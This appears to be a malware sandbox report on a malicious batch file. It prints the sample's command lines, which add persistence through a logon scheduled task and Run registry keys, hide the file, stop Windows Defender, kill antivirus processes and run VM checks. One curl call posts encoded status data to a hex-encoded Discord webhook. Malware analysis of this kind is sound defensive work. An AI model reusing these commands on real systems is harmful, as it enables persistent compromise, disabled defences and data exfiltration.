File name:

502ea40b18677aae31abd50b9c645760a204c4a92b661541631fe6e215df88bf.bat

Full analysis: https://app.any.run/tasks/9f0ab64a-eba2-4964-b782-6ac922dfc8d4
Verdict: Malicious activity
Analysis date: March 24, 2025, 10:14:22
OS: Windows 10 Professional (build: 19045, 64 bit)
Tags:
antivm
Indicators:
MIME: text/x-msdos-batch
File info: DOS batch file, ASCII text, with CRLF line terminators
MD5:

4DEB12AA307D26A2B941F1688D9E89CE

SHA1:

A08B98377D441CF93DA444244B9664292456024E

SHA256:

502EA40B18677AAE31ABD50B9C645760A204C4A92B661541631FE6E215DF88BF

SSDEEP:

96:ODu18Rs02/MYb6vGq9D3858hioVdrEFvZX13Xw1LHLwp5ehLUs:k6/CIG932ZXRwZ

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Create files in the Startup directory

      • cmd.exe (PID: 2284)

    • Changes the autorun value in the registry

      • reg.exe (PID: 5116)

    • Starts NET.EXE for service management

      • cmd.exe (PID: 2284)
      • net.exe (PID: 1240)

    • Uses Task Scheduler to autorun other applications

      • cmd.exe (PID: 2284)

    • Antivirus name has been found in the command line (generic signature)

      • taskkill.exe (PID: 2432)

    • Uses TASKKILL.EXE to kill antiviruses

      • cmd.exe (PID: 2284)

  • SUSPICIOUS

    • Uses base64 encoding (POWERSHELL)

      • powershell.exe (PID: 4300)
      • powershell.exe (PID: 4620)
      • powershell.exe (PID: 5728)
      • powershell.exe (PID: 4224)
      • powershell.exe (PID: 6192)
      • powershell.exe (PID: 1328)
      • powershell.exe (PID: 6044)
      • powershell.exe (PID: 6068)

    • Uses ATTRIB.EXE to modify file attributes

      • cmd.exe (PID: 2284)

    • Application launched itself

      • cmd.exe (PID: 2284)

    • Starts POWERSHELL.EXE for commands execution

      • cmd.exe (PID: 976)
      • cmd.exe (PID: 5256)
      • cmd.exe (PID: 6476)
      • cmd.exe (PID: 616)
      • cmd.exe (PID: 2108)
      • cmd.exe (PID: 5176)
      • cmd.exe (PID: 1128)
      • cmd.exe (PID: 6036)
      • cmd.exe (PID: 6192)
      • cmd.exe (PID: 2284)

    • Executing commands from a ".bat" file

      • cmd.exe (PID: 2284)

    • Starts CMD.EXE for commands execution

      • cmd.exe (PID: 2284)

    • Likely accesses (executes) a file from the Public directory

      • attrib.exe (PID: 5416)
      • cmd.exe (PID: 6476)
      • powershell.exe (PID: 5728)

    • Uses REG/REGEDIT.EXE to modify registry

      • cmd.exe (PID: 2284)

    • There is functionality for VM detection VirtualBox (YARA)

      • cmd.exe (PID: 2284)

    • Uses WMIC.EXE to obtain BIOS management information

      • cmd.exe (PID: 3900)

    • Uses WMIC.EXE to obtain physical disk drive information

      • cmd.exe (PID: 2088)

    • Get information on the list of running processes

      • cmd.exe (PID: 2284)
      • cmd.exe (PID: 6192)

    • Windows service management via SC.EXE

      • sc.exe (PID: 6872)

    • Starts SC.EXE for service management

      • cmd.exe (PID: 2284)

  • INFO

    • Checks supported languages

      • curl.exe (PID: 6240)
      • curl.exe (PID: 4164)
      • curl.exe (PID: 4164)
      • curl.exe (PID: 960)
      • curl.exe (PID: 3900)
      • curl.exe (PID: 4996)
      • curl.exe (PID: 2108)
      • curl.exe (PID: 2552)

    • Autorun file from Startup directory

      • cmd.exe (PID: 2284)

    • Execution of CURL command

      • cmd.exe (PID: 2284)

    • Reads security settings of Internet Explorer

      • WMIC.exe (PID: 4428)
      • WMIC.exe (PID: 4244)

    • Reads the software policy settings

      • slui.exe (PID: 3888)
      • slui.exe (PID: 1676)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.
No data.
screenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
175
Monitored processes
48
Malicious processes
1
Suspicious processes
1

Behavior graph

Click at the process to see the details
start cmd.exe conhost.exe no specs attrib.exe no specs cmd.exe no specs powershell.exe no specs curl.exe no specs attrib.exe no specs cmd.exe no specs powershell.exe no specs sppextcomobj.exe no specs slui.exe curl.exe no specs attrib.exe no specs cmd.exe no specs powershell.exe no specs curl.exe no specs reg.exe cmd.exe no specs powershell.exe no specs curl.exe no specs reg.exe no specs cmd.exe no specs powershell.exe no specs curl.exe no specs vssadmin.exe no specs cmd.exe no specs powershell.exe no specs curl.exe no specs schtasks.exe no specs cmd.exe no specs powershell.exe no specs curl.exe no specs net.exe no specs net1.exe no specs sc.exe no specs taskkill.exe no specs reg.exe no specs cmd.exe no specs powershell.exe no specs curl.exe no specs cmd.exe no specs wmic.exe no specs cmd.exe no specs wmic.exe no specs cmd.exe no specs powershell.exe no specs powershell.exe no specs slui.exe

Process information

PID
CMD
Path
Indicators
Parent process
616C:\WINDOWS\system32\cmd.exe /c powershell -command "[Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes('Registry: Software\Microsoft\Windows\CurrentVersion\Run\RTT1'))"C:\Windows\System32\cmd.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\sechost.dll
c:\windows\system32\bcrypt.dll
672schtasks /create /tn RTT /tr "C:\Users\admin\AppData\Roaming\rtt.bat" /sc onlogon /rl highest /f C:\Windows\System32\schtasks.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Task Scheduler Configuration Tool
Exit code:
1
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
960curl -s -X POST -H "Content-Type: application/json" -d "{\"content\":\"UmVnaXN0cnk6IFNvZnR3YXJlXE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXFJ1blxSVFQx\"}" "68747470733a2f2f646973636f72642e636f6d2f6170692f776562686f6f6b732f313335333434383739343435323339383038322f4131665f375772344230734175656d4233657771466353623734534241386d736c6c624b6f36337144437344786e715668647a337537536944564a717a7a73476b667368" C:\Windows\System32\curl.exe—cmd.exe
User:
admin
Company:
curl, https://curl.se/
Integrity Level:
MEDIUM
Description:
The curl executable
Exit code:
6
Version:
8.4.0
Modules
Images
c:\windows\system32\curl.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\ws2_32.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\crypt32.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\cryptsp.dll
976C:\WINDOWS\system32\cmd.exe /c powershell -command "[Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes('Setup: C:\Users\admin\AppData\Roaming\rtt.bat'))"C:\Windows\System32\cmd.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\sechost.dll
c:\windows\system32\bcrypt.dll
1056C:\WINDOWS\system32\SppExtComObj.exe -EmbeddingC:\Windows\System32\SppExtComObj.Exe—svchost.exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
KMS Connection Broker
Exit code:
0
Version:
10.0.19041.3996 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\sppextcomobj.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\oleaut32.dll
1128C:\WINDOWS\system32\cmd.exe /c powershell -command "[Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes('Task scheduled'))"C:\Windows\System32\cmd.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\sechost.dll
c:\windows\system32\bcrypt.dll
1240net stop WinDefend C:\Windows\System32\net.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Net Command
Exit code:
2
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\net.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\netutils.dll
1328powershell -command "[Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes('Task scheduled'))"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\atl.dll
c:\windows\system32\combase.dll
1512attrib +h +s "C:\Users\admin\AppData\Roaming\rtt.bat" C:\Windows\System32\attrib.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Attribute Utility
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\attrib.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\ulib.dll
c:\windows\system32\fsutilext.dll
1676C:\WINDOWS\System32\slui.exe -EmbeddingC:\Windows\System32\slui.exe
svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Activation Client
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\slui.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\user32.dll
Total events
49 805
Read events
49 803
Write events
2
Delete events
0

Modification events

(PID) Process:(5116) reg.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Operation:writeName:RTT1
Value:
C:\Users\admin\AppData\Roaming\rtt.bat
(PID) Process:(2152) reg.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run
Operation:writeName:RTT2
Value:
C:\Users\admin\AppData\Roaming\rtt.bat
Executable files
0
Suspicious files
1
Text files
24
Unknown types
0

Dropped files

PID
Process
Filename
Type
2284cmd.exeC:\Users\admin\AppData\Roaming\rtt.battext
MD5:4DEB12AA307D26A2B941F1688D9E89CE
SHA256:502EA40B18677AAE31ABD50B9C645760A204C4A92B661541631FE6E215DF88BF
6044powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_l41gk1v2.jku.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
4300powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_1nptbxh1.vru.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6192powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_uqrx32bd.hmm.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6044powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_fgvrstmc.1se.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6192powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_niczvji1.ez4.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
1328powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_t10gc1dm.5fv.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6068powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_uiu4ls51.2zc.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6068powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_gogf2m1o.pgj.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
1328powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_dumqgcme.nbt.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
2
TCP/UDP connections
18
DNS requests
6
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
—
—
POST
500
20.83.72.98:443
https://activation-v2.sls.microsoft.com/SLActivateProduct/SLActivateProduct.asmx?configextension=Retail
unknown
xml
512 b
whitelisted
—
—
POST
500
20.83.72.98:443
https://activation-v2.sls.microsoft.com/SLActivateProduct/SLActivateProduct.asmx?configextension=Retail
unknown
xml
512 b
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:138
—
—
—
whitelisted
—
—
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
2112
svchost.exe
40.127.240.158:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
2104
svchost.exe
40.127.240.158:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
4
System
192.168.100.255:137
—
—
—
whitelisted
3888
slui.exe
20.83.72.98:443
activation-v2.sls.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
US
whitelisted
1676
slui.exe
20.83.72.98:443
activation-v2.sls.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
US
whitelisted

DNS requests

Domain
IP
Reputation
google.com
  • 172.217.18.14
whitelisted
settings-win.data.microsoft.com
  • 51.104.136.2
  • 40.127.240.158
whitelisted
activation-v2.sls.microsoft.com
  • 20.83.72.98
whitelisted
self.events.data.microsoft.com
  • 20.42.65.89
whitelisted

Threats

No threats detected
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
502ea40b18677aae31abd50b9c645760a204c4a92b661541631fe6e215df88bf.bat